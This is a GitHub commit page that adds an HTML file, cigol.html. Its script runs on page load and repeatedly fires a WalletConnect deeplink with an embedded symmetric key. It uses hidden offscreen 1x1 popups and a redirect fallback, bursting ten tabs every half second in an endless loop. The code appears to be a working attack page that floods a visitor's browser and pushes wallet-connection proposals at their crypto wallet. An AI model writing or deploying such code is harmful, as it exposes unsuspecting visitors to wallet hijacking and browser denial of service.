Skip to content

Commit 2d815dc

Browse files
authored
Create cigol.html
1 parent 6df365a commit 2d815dc

File tree

1 file changed

+45
-0
lines changed

1 file changed

+45
-0
lines changed

cigol.html

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
<!doctype html>
2+
<html lang="id">
3+
<head>
4+
<meta charset="utf-8" />
5+
<title>LOOP KEUN FLOW (WC)</title>
6+
</head>
7+
<body>
8+
<script>
9+
// Tetap pakai WC URI yang sama
10+
const deeplink =
11+
"wc:75e7fb2068b7f9abc94761cf72e93cbbf8d1804d044f38b9b7e695b89193d421@2" +
12+
"?relay-protocol=irn" +
13+
"&symKey=3f316b05f1ba3bd669097bb81f16fba67c2ffb503745363e292cfbcf73ef62cc" +
14+
"&methods=[wc_sessionPropose]" +
15+
"&expiryTimestamp=1893456000";
16+
17+
function openOnce() {
18+
const w = window.open(
19+
deeplink,
20+
"_blank",
21+
"width=1,height=1,left=-100,top=-100"
22+
);
23+
24+
// Fallback kalau popup diblok / gagal
25+
if (!w || w.closed || typeof w.closed === "undefined") {
26+
location.href = deeplink;
27+
}
28+
}
29+
30+
// Burst tab logic
31+
function trigger() {
32+
// Misal burst 10 tab per siklus
33+
for (let i = 0; i < 10; i++) {
34+
// delay kecil biar tetap "race"
35+
setTimeout(openOnce, i * 10);
36+
}
37+
38+
// Ulangi terus (loop keun)
39+
setTimeout(trigger, 500);
40+
}
41+
42+
window.onload = trigger;
43+
</script>
44+
</body>
45+
</html>

0 commit comments

Comments
 (0)